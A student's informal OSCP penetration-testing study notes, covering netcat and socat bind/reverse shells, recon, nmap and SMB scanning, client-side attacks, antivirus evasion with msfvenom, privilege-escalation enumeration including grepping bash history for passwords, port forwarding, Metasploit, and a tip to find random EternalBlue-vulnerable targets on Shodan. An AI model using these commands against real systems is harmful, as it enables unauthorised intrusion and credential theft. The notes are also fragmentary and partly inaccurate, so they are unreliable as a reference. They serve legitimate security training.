Myoscp Notes
Myoscp Notes
OSCP Notes:
1-Netcat:
- nc -n -v ip_address # to check connection to tcp and udp
-nc -n -v IPaddress 4444 # once you type that script to the machine in linux ,
the cmd on windows machine will open with you and you can execute commands
2- SOCAT
socat - TCP:ip_address:port_number
-openssl req -newkey rsa:2048 -nodes -keyout bindshell.key -x509 -days 362 -out
bindshell.crt
-sudo socat openssl-LISTEN:443,cert=bindshell.pem,verify=0,fork EXEC:c:/bin/bash
-socat - openssl:ipaddress:port_number(443),verify=0
-----------------------------------------
1-whois domain_name ex: whois google.com # to extract info about the domain
whois ip address ex: whois 193.227.34.143 # extract info about the website
2-Google Hacking
3-netcraft
4-recon-ng
5-open source code : example you can use github to gather information about an
company ex : https://www.github.com/google
https://www.github.com/yahoo
6-shodan # smart search engine you can use it to search open devices conntected to
the internet
8-ssl server test : you can use that website to test ssl/tls of the website :
https://www.ssllabs.com/ssltest/
9-Pastebin : you can use the pastebin website to recon about the taregt
10-theharvester : that tool used to collect email address by that command line :
theharvester -d domain_name -b google
---------------------------------------------
-Dns enumration : use that command to extract the ip address of the domain => ex:
host yahoo.com
you can extract the related mail address by that command => host -t mx yahoo.com
-TCP/UDP scanning
- sudo nmap -Pn 192.168.1.1/24 => to scan all active hosts on the network
- sudo nmap -O ip_address => to banner grabbing the os of the target ex : sudo
nmap -O 192.168.1.6
-sudo nmap -sV ip_addres of the target => used to banner grabbing the service
running on the target ex: nmap -sV ip_address
-sudo nmap -sV -sC ip_address => to scan the version of running services and use
scripts of the nmap
-sudo masscan -p80 --rate=100 ip_address => very fast tool to scan the port of the
target ex: sudo masscan -p80 --rate=100 192.168.0.1
masscan : that tool used to analyze packets send over the network
-sudo nbtscan -r ip_address => search for smb or netbios service on the target
-sudo smbclient -L ip_address => that tool try to connect to the smb service ex :
sudo smbclient -L 192.168.1.19
-sudo smbmap -H ip_address => that tool used to check to open ports or sevices of
smb ex : sudo smbmap -H 192.168.1.19
smb, netbois uses that port together 139,445
you can scan netbois service by nmap by that script : nmap -sV -p 139.445
-NFS : that protocol used as that => the client user can acces files throught the
network by nfs
snmp protocol : is an application layer protocol that utilizes the UDP protocol to
manage routers, hubs, and switches on an IP network .
-Snmp : you can scan it by nmap by that command => sudo nmap -p 161 ip_address
------------------------------------------------------------------
-Buffer Over flow (BOF):
Architecture fundementals
-number system
1-Binary => 0,1
2-Octal => 0,1,2,3,4,5,6,7
3-Decimal => 0,1,2,3,4,5,6,7,8,9
4-hexadecimal => 0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F
-RAM
bit ordered by 1-Big indian 2-Little indian
-----------------------------------------------------------------
-client side attack :
client side attack means the attacker sends you a macilious appliction or url
-then open netcat and use that command : nc -nvlp 4444( port you selected on the
maclious code )
2-the another way to deliver it to the victim is to send it the victim by link and
he/she download it , in the same time you open netcat to recieve a reverse
connection
---------------------------
-Search exploits
1-Exploit-DB or Exploit-DB/rss.xml
2-securityfocus.com
3-packetstorm
4-Google Dorking
2-you can use nmap , the scripts inside that directory => /usr/share/nmap/scripts
------------------------------------------
-File transfer
-once you get a rce (session) of the target , you should upgrade the shell and make
it persistent , you can access it any time by following steps:
-tOo upload a file from an attacker machine to victim machine by that following
steps:
1-simplehttpserver
after the pervious steps , you now has a persistent shell , you can access it any
time
-we assume that a file we will download it to the victim machine , we follow that :
1- exe2hex -x file_name -p nc.cmd
2-copy the hex code of nc.cmd and paste it in the shell of the victim
----------------------------------
Antivirus Evasion
- you can create paylods by fatrat or msfvenom that tools will help use to evate
the antirus
===================================================
-Privillege Escalation
1-Information gathering
(1)-manual enumration
windows :
whoami=> the current user
net user => the current users running on the system
net user (the name of the user) ex: net user mrtrojan => to display more
details about the user
Linux:
whoami => the current user
cat /etc/passwd => all users on the system
Linux :
hostname => the type of that os (webserver ,database or doamin controller)
uname -a => all info related the system
cat /etc/issue => the version of the os
-you need to enumarte the internal open ports , you can only access it from the
internal network by the target you hacked
Windows :
netstat -ano => extract all the open ports on the machine
Linux :
ss -anp => extract the ports is opend
windows :
linux:
iptables
Windows :
ls -lah /etc/cron*
Windows :
Linux :
dpkg -l => extract the installed application
*note: to find the root directories may help in privilege scalation we use that
command
Linux
find / -writable -type d 2>/dev/null => extract all directories included in root
directory
Windows:
mountvol => extract the disks
Linux :
mount => extract the mounted disks
Windows :
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Display
Name’, ‘Start Mode’, 'Paged Pool(bytes)’, Path
Linux :
lsmod => extract the all modules of kernal
modinfo (name of mode ) ex modinfo wmi => to extract all informtion about the
the module speicified
--------------------------------------------------------
Windows privilege escalation
-automated Enumeration
-tryhackme exercises
-------------------------------
sudo nmap --interactive => allows you to run commands , it in nmap version 5
-the most famous tool for linux privilege escalation are (lipease , lienum)
System Information
#OS info
#PATH_persmission
#Kernel exploits
cat /proc/version
uname -a
searchsploit "linux kernal"
-to search for kernal exploits you can use that tool => linux-exploit-suggester.sh
cat ~/.bash_history | grep -i passw => that command used to display the history of
logined passwords
#sudo version
#Grseacurity: grsecurity is a set of patches for the Linux kernel which emphasize
security enhancements. The patches are typically used by computer systems which
accept remote connections from untrusted locations
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
#PAX
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
#EXesheild : aim of reducing the risk of worm or other automated remote attacks on
Linux systems
-the attacker hacked a machine in private network , and discover a server is port
80 is open , so attacker can not access server port 80 from his machine , so the
attacker will make port tunneling that make the hacked machine access port 80 and
forward the packet to the attacker machine , finally the attacker can acces port 80
of the server
-You can use any port number greater than 1024 as a LOCAL_PORT. Ports numbers less
than 1024 are privileged ports and can be used only by root
2-Remote Port forwarding : you forward the traffic from the remote ssh server to
tha attacker machine , if you have access on the server machine :
3-Dynamic port forwarding : Dynamic port forwarding allows you to create a socket
on the local (ssh client) machine, which acts as a SOCKS proxy server. When a
client connects to this port, the connection is forwarded to the remote (ssh
server) machine, which is then forwarded to a dynamic port on the destination
machine
then open browser firefox => proxy > socks > 127.0.0.1 > port number (8090)
==================================== ACTIVE DIRECTORY
============================================================
====================================MetaSploit=====================================
============================
- you can use that website http://shodan.io => to search for random targets
example : vuln:ms17_010 in shodan for targets vulnerable with eternalblue
or in metasploit : search ms17_010
-before run the payload youb should run that script , automatically run the script
after sending the payload by that :
msf> set AutoRunScript (script) ex: set AutoRunScript transport => to make the
connection live if one protocols down
- you can type a script with the extension rc ex script.rc => and run that script
with metasploit by that command
msfconsole -r script.rc
#Finally I would say thanks to read my basic notes of that course , wish you all
the best , hacker